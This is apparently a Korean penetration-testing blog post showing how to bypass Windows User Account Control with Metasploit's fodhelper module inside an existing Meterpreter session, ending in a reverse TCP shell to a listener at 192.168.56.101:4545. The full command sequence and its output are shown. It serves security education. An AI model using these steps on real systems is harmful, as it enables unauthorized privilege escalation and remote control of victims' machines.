Windows system을 침투테스트하다 보면 UAC라는 게정 컨트롤을 만나게 됩니다. 아래에서도 설명드리겠지만 이는 Windows 의 보안 정책 중 하나이며 우리는 이것을 우회해야 더 깊은 내용으로 접근하고 실행할 수 있습니다. 오늘은 Metasploit을 통해 UAC를 우회하는 방법에 대해 이야기할까 합니다.
What is UAC?
UAC(User Account Control)은 Windows에서의 사용자 권한에 대한 정책을 의미합니다. Windows에서 프로그램 실행 시 가끔 권한으로 인해 아래와 같은 팝업이 뜨는걸 보신적이 있나요?
네, 바로 이 친구가 UAC입니다. Windows의 보안정책 중 하나로 대부분의 Windows는 기본 정책으로 UAC가 사용되어 있습니다. 이를 통해 계정 권한에 대해 체크하고 보호할 수 있지만 공격자 입장에서는 넘어야할 산입니다. Meterpreter를 통해 Windows system 접근 후 시스템의 정보를 확인해보면 때에 따라 아래와 같이 나타납니다.
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: Access is denied. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
meterpreter >
win_privs 모듈을 통해 살펴보면 UAC가 Enable 되어있는 것을 확인할 수 있습니다. 이로인해 우리는 불편한점이 생겼던거죠.
meterpreter >
meterpreter > run post/windows/gather/win_privs
Current User
============
Is Admin Is System Is In Local Admin Group UAC Enabled Foreground ID UID
-------- --------- ----------------------- ----------- ------------- ---
False False True True 1 "HAHWUL\\Test-Virtualbox"
Windows Privileges
==================
Name
----
SeChangeNotifyPrivilege
어떤 행위를 하기 위한 권한이 모자라다면 풀어야겠지요.
Bypass UAC using Metasploit
Exploit-DB에서 UAC에 대해 검색해보면 여러가지 Exploit 코드와 문서를 만날 수 있습니다. Windows의 대표적인 취약점 형태 중 하나이고 많은 분석가들이 찾아내고 제보하여 정보가 공유됩니다.
Metasploit에도 UAC에 대한 많은 모듈들이 있습니다. Meterpreter shell에서 Metasploit으로 진입 후 UAC에 대해 찾아봅시다.
meterpreter > background
HAHWUL exploit(~) > search uac
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/windows/local/ask 2012-01-03 excellent Windows Escalate UAC Execute RunAs
exploit/windows/local/bypassuac 2010-12-31 excellent Windows Escalate UAC Protection Bypass
exploit/windows/local/bypassuac_eventvwr 2016-08-15 excellent Windows Escalate UAC Protection Bypass (Via Eventvwr Registry Key)
exploit/windows/local/bypassuac_fodhelper 2017-05-12 excellent Windows UAC Protection Bypass (Via FodHelper Registry Key)
exploit/windows/local/bypassuac_injection 2010-12-31 excellent Windows Escalate UAC Protection Bypass (In Memory Injection)
exploit/windows/local/bypassuac_vbs 2015-08-22 excellent Windows Escalate UAC Protection Bypass (ScriptHost Vulnerability)
post/windows/gather/win_privs normal Windows Gather Privileges Enumeration
post/windows/gather/win_privs normal Windows Gather Privileges Enumeration
post/windows/manage/sticky_keys normal Sticky Keys Persistance Module
여러가지 모듈들이 확인되네요. 각각 모듈은 Windows UAC 관련 Exploit들이고 Metasploit에 있는 모듈뿐만 아니라 직접 Exploit code를 통해 UAC를 해제하여 Shell을 넘겨주는 방법도 있습니다. 이번 포스팅에선 Metasploit의 모듈을 사용하도록 하죠. 내키는걸로 하나 골라줍니다.
HAHWUL exploit(~) > use exploit/windows/local/bypassuac_fodhelper
HAHWUL exploit(bypassuac_fodhelper) > show options
Module options (exploit/windows/local/bypassuac_fodhelper):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Exploit target:
Id Name
-- ----
0 Windows x86
전 가장 최근 발표된 fodhelper 관련 UAC Exploit 으로 진행하였습니다. 옵션은 별다른거 없습니다. 그냥 Target이 32bit용인거고, SESSION 정보와 Payload를 넘겨주면 exploit이 가능합니다.
HAHWUL exploit(bypassuac_fodhelper) > set SESSION 1
HAHWUL exploit(bypassuac_fodhelper) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
HAHWUL exploit(bypassuac_fodhelper) > show options
Module options (exploit/windows/local/bypassuac_fodhelper):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION 1 yes The session to run this module on.
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.56.101 yes The listen address
LPORT 4545 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows x86
세팅하고..
HAHWUL exploit(bypassuac_fodhelper) > exploit
[*] Started reverse TCP handler on 192.168.56.101:4545
...snip...
meterpreter >
Exploit 하면 Payload대로 Meterpreter shell이 떨어집니다. 이 shell은 UAC가 해제된 Metasploit 이죠.
meterpreter > run post/windows/gather/win_privs
Current User
============
Is Admin Is System Is In Local Admin Group UAC Enabled Foreground ID UID
-------- --------- ----------------------- ----------- ------------- ---
False False True False 1 "HAHWUL\\Test-Virtualbox"
Windows Privileges
==================
Name
----
SeChangeNotifyPrivilege
...snip...
Conclusion
Exploit을 어떻게 사용하는지 보단 어떤 판단을 내리고 어떻게 풀어나갈 것인지가 중요한 것 같습니다. UAC를 만났을 때 풀 수 있는 방법은 많습니다. 기호와 상황에 맞게 적절한 수를 찾아서 풀어나가신다면 조금 더 완벽하고 안전한 침투가 되지 않을까 싶네요.
Refernece
- https://support.microsoft.com/ko-kr/help/976959